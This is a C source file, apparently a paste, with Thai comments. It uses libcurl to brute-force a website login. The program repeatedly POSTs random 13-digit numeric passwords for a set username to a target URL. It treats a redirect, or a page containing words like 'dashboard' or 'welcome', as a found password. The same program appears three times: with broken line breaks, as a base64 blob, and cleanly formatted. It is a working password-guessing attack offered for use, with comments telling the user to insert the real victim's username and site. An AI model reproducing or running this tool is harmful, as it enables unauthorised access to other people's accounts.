#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <curl/curl.h>
#define PASSWORD_LENGTH 13
// ANSI Color Codes
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
// ฟังก์ชันสุ่มรหัสผ่าน 13 หลักตัวเลข
void generate_password(char *password) {
for (int i = 0; i < PASSWORD_LENGTH; i++) {
password
[i
] = '0' + (rand() % 10); }
password[PASSWORD_LENGTH] = '\0';
}
// ฟังก์ชัน callback สำหรับเก็บผลลัพธ์ response body
size_t write_callback(void *ptr, size_t size, size_t nmemb, char *data) {
size_t total_size = size * nmemb;
strncat(data, (char*)ptr, total_size);
return total_size;
}
int main() {
CURL *curl;
CURLcode res;
char password[PASSWORD_LENGTH + 1];
char postfields[256];
char response_data[4096] = ""; // เก็บ response body
char *username = "username"; // เปลี่ยนเป็นชื่อผู้ใช้จริง
const char *url = "https://e...content-available-to-author-only...e.com"; // เปลี่ยน URL เป็นเว็บไซต์เป้าหมาย
// คำที่ใช้ตรวจสอบว่าล็อกอินสำเร็จหรือไม่
const char *success_keywords[] = {
"dashboard", "home", "profile", "welcome", "success", "เข้าสู่ระบบสำเร็จ", NULL
};
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (!curl) {
fprintf(stderr
, "Curl init failed\n"); return 1;
}
while (1) {
generate_password(password);
snprintf
(postfields
, sizeof(postfields
), "username=%s&password=%s", username
, password
);
response_data[0] = '\0'; // เคลียร์ buffer
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_data);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
fprintf(stderr
, COLOR_RED
"curl_easy_perform() failed: %s\n" COLOR_RESET
, curl_easy_strerror
(res
)); break;
}
long response_code;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
printf("กำลังทดสอบรหัสผ่าน: %s\n", password
);
int matched = 0;
if (response_code == 200) {
for (int i = 0; success_keywords[i] != NULL; i++) {
if (strstr(response_data
, success_keywords
[i
]) != NULL) { matched = 1;
break;
}
}
if (matched) {
printf(COLOR_GREEN
"✅ รหัสผ่านที่ถูกต้องคือ: %s\n" COLOR_RESET
, password
); break;
} else {
printf(COLOR_RED
"❌ รหัสผ่าน %s ไม่ถูกต้อง\n" COLOR_RESET
, password
); }
} else if (response_code == 302) {
printf(COLOR_GREEN
"✅ รหัสผ่านที่ถูกต้องคือ: %s (การเปลี่ยนหน้า)\n" COLOR_RESET
, password
); break;
} else {
printf(COLOR_RED
"❌ รหัสผ่าน %s ไม่ถูกต้อง (รหัสสถานะ: %ld)\n" COLOR_RESET
, password
, response_code
); }
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8dGltZS5oPgojaW5jbHVkZSA8Y3VybC9jdXJsLmg+CgojZGVmaW5lIFBBU1NXT1JEX0xFTkdUSCAxMwoKLy8gQU5TSSBDb2xvciBDb2RlcwojZGVmaW5lIENPTE9SX1JFRCAgICAgIlwwMzNbMTszMW0iCiNkZWZpbmUgQ09MT1JfR1JFRU4gICAiXDAzM1sxOzMybSIKI2RlZmluZSBDT0xPUl9SRVNFVCAgICJcMDMzWzBtIgoKLy8g4Lif4Lix4LiH4LiB4LmM4LiK4Lix4LiZ4Liq4Li44LmI4Lih4Lij4Lir4Lix4Liq4Lic4LmI4Liy4LiZIDEzIOC4q+C4peC4seC4geC4leC4seC4p+C5gOC4peC4ggp2b2lkIGdlbmVyYXRlX3Bhc3N3b3JkKGNoYXIgKnBhc3N3b3JkKSB7CiAgICBmb3IgKGludCBpID0gMDsgaSA8IFBBU1NXT1JEX0xFTkdUSDsgaSsrKSB7CiAgICAgICAgcGFzc3dvcmRbaV0gPSAnMCcgKyAocmFuZCgpICUgMTApOwogICAgfQogICAgcGFzc3dvcmRbUEFTU1dPUkRfTEVOR1RIXSA9ICdcMCc7Cn0KCi8vIOC4n+C4seC4h+C4geC5jOC4iuC4seC4mSBjYWxsYmFjayDguKrguLPguKvguKPguLHguJrguYDguIHguYfguJrguJzguKXguKXguLHguJ7guJjguYwgcmVzcG9uc2UgYm9keQpzaXplX3Qgd3JpdGVfY2FsbGJhY2sodm9pZCAqcHRyLCBzaXplX3Qgc2l6ZSwgc2l6ZV90IG5tZW1iLCBjaGFyICpkYXRhKSB7CiAgICBzaXplX3QgdG90YWxfc2l6ZSA9IHNpemUgKiBubWVtYjsKICAgIHN0cm5jYXQoZGF0YSwgKGNoYXIqKXB0ciwgdG90YWxfc2l6ZSk7CiAgICByZXR1cm4gdG90YWxfc2l6ZTsKfQoKaW50IG1haW4oKSB7CiAgICBzcmFuZCh0aW1lKE5VTEwpKTsKCiAgICBDVVJMICpjdXJsOwogICAgQ1VSTGNvZGUgcmVzOwogICAgY2hhciBwYXNzd29yZFtQQVNTV09SRF9MRU5HVEggKyAxXTsKICAgIGNoYXIgcG9zdGZpZWxkc1syNTZdOwogICAgY2hhciByZXNwb25zZV9kYXRhWzQwOTZdID0gIiI7ICAvLyDguYDguIHguYfguJogcmVzcG9uc2UgYm9keQoKICAgIGNoYXIgKnVzZXJuYW1lID0gInVzZXJuYW1lIjsgLy8g4LmA4Lib4Lil4Li14LmI4Lii4LiZ4LmA4Lib4LmH4LiZ4LiK4Li34LmI4Lit4Lic4Li54LmJ4LmD4LiK4LmJ4LiI4Lij4Li04LiHCiAgICBjb25zdCBjaGFyICp1cmwgPSAiaHR0cHM6Ly9lLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5lLmNvbSI7IC8vIOC5gOC4m+C4peC4teC5iOC4ouC4mSBVUkwg4LmA4Lib4LmH4LiZ4LmA4Lin4LmH4Lia4LmE4LiL4LiV4LmM4LmA4Lib4LmJ4Liy4Lir4Lih4Liy4LiiCgogICAgLy8g4LiE4Liz4LiX4Li14LmI4LmD4LiK4LmJ4LiV4Lij4Lin4LiI4Liq4Lit4Lia4Lin4LmI4Liy4Lil4LmH4Lit4LiB4Lit4Li04LiZ4Liq4Liz4LmA4Lij4LmH4LiI4Lir4Lij4Li34Lit4LmE4Lih4LmICiAgICBjb25zdCBjaGFyICpzdWNjZXNzX2tleXdvcmRzW10gPSB7CiAgICAgICAgImRhc2hib2FyZCIsICJob21lIiwgInByb2ZpbGUiLCAid2VsY29tZSIsICJzdWNjZXNzIiwgIuC5gOC4guC5ieC4suC4quC4ueC5iOC4o+C4sOC4muC4muC4quC4s+C5gOC4o+C5h+C4iCIsIE5VTEwKICAgIH07CgogICAgY3VybF9nbG9iYWxfaW5pdChDVVJMX0dMT0JBTF9ERUZBVUxUKTsKICAgIGN1cmwgPSBjdXJsX2Vhc3lfaW5pdCgpOwogICAgaWYgKCFjdXJsKSB7CiAgICAgICAgZnByaW50ZihzdGRlcnIsICJDdXJsIGluaXQgZmFpbGVkXG4iKTsKICAgICAgICByZXR1cm4gMTsKICAgIH0KCiAgICB3aGlsZSAoMSkgewogICAgICAgIGdlbmVyYXRlX3Bhc3N3b3JkKHBhc3N3b3JkKTsKICAgICAgICBzbnByaW50Zihwb3N0ZmllbGRzLCBzaXplb2YocG9zdGZpZWxkcyksICJ1c2VybmFtZT0lcyZwYXNzd29yZD0lcyIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgogICAgICAgIHJlc3BvbnNlX2RhdGFbMF0gPSAnXDAnOyAvLyDguYDguITguKXguLXguKLguKPguYwgYnVmZmVyCgogICAgICAgIGN1cmxfZWFzeV9zZXRvcHQoY3VybCwgQ1VSTE9QVF9VUkwsIHVybCk7CiAgICAgICAgY3VybF9lYXN5X3NldG9wdChjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsIHBvc3RmaWVsZHMpOwogICAgICAgIGN1cmxfZWFzeV9zZXRvcHQoY3VybCwgQ1VSTE9QVF9XUklURUZVTkNUSU9OLCB3cml0ZV9jYWxsYmFjayk7CiAgICAgICAgY3VybF9lYXN5X3NldG9wdChjdXJsLCBDVVJMT1BUX1dSSVRFREFUQSwgcmVzcG9uc2VfZGF0YSk7CgogICAgICAgIHJlcyA9IGN1cmxfZWFzeV9wZXJmb3JtKGN1cmwpOwoKICAgICAgICBpZiAocmVzICE9IENVUkxFX09LKSB7CiAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCBDT0xPUl9SRUQgImN1cmxfZWFzeV9wZXJmb3JtKCkgZmFpbGVkOiAlc1xuIiBDT0xPUl9SRVNFVCwgY3VybF9lYXN5X3N0cmVycm9yKHJlcykpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGxvbmcgcmVzcG9uc2VfY29kZTsKICAgICAgICBjdXJsX2Vhc3lfZ2V0aW5mbyhjdXJsLCBDVVJMSU5GT19SRVNQT05TRV9DT0RFLCAmcmVzcG9uc2VfY29kZSk7CgogICAgICAgIHByaW50Zigi4LiB4Liz4Lil4Lix4LiH4LiX4LiU4Liq4Lit4Lia4Lij4Lir4Lix4Liq4Lic4LmI4Liy4LiZOiAlc1xuIiwgcGFzc3dvcmQpOwoKICAgICAgICBpbnQgbWF0Y2hlZCA9IDA7CiAgICAgICAgaWYgKHJlc3BvbnNlX2NvZGUgPT0gMjAwKSB7CiAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBzdWNjZXNzX2tleXdvcmRzW2ldICE9IE5VTEw7IGkrKykgewogICAgICAgICAgICAgICAgaWYgKHN0cnN0cihyZXNwb25zZV9kYXRhLCBzdWNjZXNzX2tleXdvcmRzW2ldKSAhPSBOVUxMKSB7CiAgICAgICAgICAgICAgICAgICAgbWF0Y2hlZCA9IDE7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChtYXRjaGVkKSB7CiAgICAgICAgICAgICAgICBwcmludGYoQ09MT1JfR1JFRU4gIuKchSDguKPguKvguLHguKrguJzguYjguLLguJnguJfguLXguYjguJbguLnguIHguJXguYnguK3guIfguITguLfguK06ICVzXG4iIENPTE9SX1JFU0VULCBwYXNzd29yZCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHByaW50ZihDT0xPUl9SRUQgIuKdjCDguKPguKvguLHguKrguJzguYjguLLguJkgJXMg4LmE4Lih4LmI4LiW4Li54LiB4LiV4LmJ4Lit4LiHXG4iIENPTE9SX1JFU0VULCBwYXNzd29yZCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHJlc3BvbnNlX2NvZGUgPT0gMzAyKSB7CiAgICAgICAgICAgIHByaW50ZihDT0xPUl9HUkVFTiAi4pyFIOC4o+C4q+C4seC4quC4nOC5iOC4suC4meC4l+C4teC5iOC4luC4ueC4geC4leC5ieC4reC4h+C4hOC4t+C4rTogJXMgKOC4geC4suC4o+C5gOC4m+C4peC4teC5iOC4ouC4meC4q+C4meC5ieC4silcbiIgQ09MT1JfUkVTRVQsIHBhc3N3b3JkKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcHJpbnRmKENPTE9SX1JFRCAi4p2MIOC4o+C4q+C4seC4quC4nOC5iOC4suC4mSAlcyDguYTguKHguYjguJbguLnguIHguJXguYnguK3guIcgKOC4o+C4q+C4seC4quC4quC4luC4suC4meC4sDogJWxkKVxuIiBDT0xPUl9SRVNFVCwgcGFzc3dvcmQsIHJlc3BvbnNlX2NvZGUpOwogICAgICAgIH0KICAgIH0KCiAgICBjdXJsX2Vhc3lfY2xlYW51cChjdXJsKTsKICAgIGN1cmxfZ2xvYmFsX2NsZWFudXAoKTsKCiAgICByZXR1cm4gMDsKfQ==
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <curl/curl.h>
#define PASSWORD_LENGTH 13
// ANSI Color Codes
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
// ฟังก์ชันสุ่มรหัสผ่าน 13 หลักตัวเลข
void generate_password(char *password) {
for (int i = 0; i < PASSWORD_LENGTH; i++) {
password[i] = '0' + (rand() % 10);
}
password[PASSWORD_LENGTH] = '\0';
}
// ฟังก์ชัน callback สำหรับเก็บผลลัพธ์ response body
size_t write_callback(void *ptr, size_t size, size_t nmemb, char *data) {
size_t total_size = size * nmemb;
strncat(data, (char*)ptr, total_size);
return total_size;
}
int main() {
srand(time(NULL));
CURL *curl;
CURLcode res;
char password[PASSWORD_LENGTH + 1];
char postfields[256];
char response_data[4096] = ""; // เก็บ response body
char *username = "username"; // เปลี่ยนเป็นชื่อผู้ใช้จริง
const char *url = "https://e...content-available-to-author-only...e.com"; // เปลี่ยน URL เป็นเว็บไซต์เป้าหมาย
// คำที่ใช้ตรวจสอบว่าล็อกอินสำเร็จหรือไม่
const char *success_keywords[] = {
"dashboard", "home", "profile", "welcome", "success", "เข้าสู่ระบบสำเร็จ", NULL
};
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (!curl) {
fprintf(stderr, "Curl init failed\n");
return 1;
}
while (1) {
generate_password(password);
snprintf(postfields, sizeof(postfields), "username=%s&password=%s", username, password);
response_data[0] = '\0'; // เคลียร์ buffer
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_data);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
fprintf(stderr, COLOR_RED "curl_easy_perform() failed: %s\n" COLOR_RESET, curl_easy_strerror(res));
break;
}
long response_code;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
printf("กำลังทดสอบรหัสผ่าน: %s\n", password);
int matched = 0;
if (response_code == 200) {
for (int i = 0; success_keywords[i] != NULL; i++) {
if (strstr(response_data, success_keywords[i]) != NULL) {
matched = 1;
break;
}
}
if (matched) {
printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s\n" COLOR_RESET, password);
break;
} else {
printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง\n" COLOR_RESET, password);
}
} else if (response_code == 302) {
printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s (การเปลี่ยนหน้า)\n" COLOR_RESET, password);
break;
} else {
printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง (รหัสสถานะ: %ld)\n" COLOR_RESET, password, response_code);
}
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;
}